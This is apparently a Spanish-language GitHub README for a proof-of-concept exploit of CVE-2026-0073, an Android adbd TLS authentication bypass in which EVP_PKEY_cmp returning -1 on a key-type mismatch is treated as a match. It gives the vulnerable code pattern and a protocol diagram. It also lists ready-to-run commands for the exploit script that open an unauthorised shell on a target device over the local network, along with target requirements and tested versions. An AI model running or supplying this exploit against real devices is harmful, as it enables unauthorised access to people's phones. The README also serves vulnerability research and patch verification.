
CVE-2026-0073 — Omisión de autenticación TLS en el demonio ADB (adbd) de Android mediante confusión de tipos en EVP_PKEY_cmp. Obtén acceso de shell no autorizado por WiFi aprovechando la discrepancia de claves EC/Ed25519. Exploit PoC para Android 14+.
EVP_PKEY_cmp() → shell ADB no autorizadaUn bypass de autenticación crítico en el daemon ADB de Android (adbd) permite a cualquier atacante en la red local obtener una shell completa en un dispositivo objetivo sin autorización del usuario.
La vulnerabilidad existe en adbd_tls_verify_cert() dentro de daemon/auth.cpp, donde EVP_PKEY_cmp() se utiliza como un booleano. Cuando la clave almacenada es RSA y el certificado de cliente TLS presentado porta una clave no RSA (EC P-256 o Ed25519), EVP_PKEY_cmp() devuelve -1 (discrepancia de tipos), lo cual es verdadero en C/C++, por lo que authorized = true.
// Vulnerable code pattern in daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG: -1 is truthy!
authorized = true;
}
Retorno de EVP_PKEY_cmp() | Significado | ¿Verdadero en C? | Resultado |
|---|---|---|---|
1 | Las claves coinciden | ✅ | Autorizado (correcto) |
0 | Las claves difieren | ❌ | Rechazado (correcto) |
-1 | Incompatibilidad de tipos | ✅ | Autorizado (BUG) |
pip install cryptography
# Interactive shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>
# Single command execution
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# Verbose mode (see full protocol trace)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
Por defecto, el script prueba automáticamente EC P-256 → Ed25519 → EC/TLS 1.2 hasta que uno tenga éxito.
Attacker Target (adbd)
│ │
│──── TCP connect ──────────────────►│
│──── CNXN (cleartext) ────────────►│
│◄─── STLS (TLS upgrade request) ──│
│──── STLS reply ──────────────────►│
│ │
│════ TLS 1.3 Handshake ════════════│
│ (EC P-256 client cert presented) │
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 is truthy → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN (device info) ──────────│
│──── OPEN "shell:" ───────────────►│
│◄─── OKAY ────────────────────────│
│◄──► WRTE/OKAY (shell I/O) ──────►│
│ │
[FULL SHELL ACCESS] │
| Requisito | Detalles |
|---|---|
| Opciones de desarrollador | Habilitadas en el dispositivo objetivo |
| Depuración inalámbrica | Habilitada (o ADB sobre TCP en el puerto 5555) |
| Clave RSA almacenada | El dispositivo debe haber sido emparejado por USB al menos una vez (/data/misc/adb/adb_keys) |
| Acceso a la red | El atacante debe poder alcanzar el puerto TCP de adbd |
⚠️ Importante: La clave RSA debe estar en
/data/misc/adb/adb_keys, que se completa mediante el emparejamiento de depuración USB (aceptando el diálogo "¿Permitir depuración USB?"). El emparejamiento de depuración inalámbrica (adb pair) almacena las claves en una ubicación diferente (adb_known_hosts.pb) y NO cumple este requisito.
adb shell getprop ro.build.version.security_patch
Probado y confirmado su funcionamiento en:
Kernel: 6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Platform: Android 14 (Android Studio Emulator)
Este fork incluye varias mejoras:
select() para soporte multiplataforma-vCVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # Main exploit script
└── README.md # This file
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Obtenga siempre la autorización adecuada antes de realizar pruebas. El autor no asume ninguna responsabilidad por el uso indebido de este software.
EVP_PKEY_cmpSi esto ayudó a tu investigación, deja una ⭐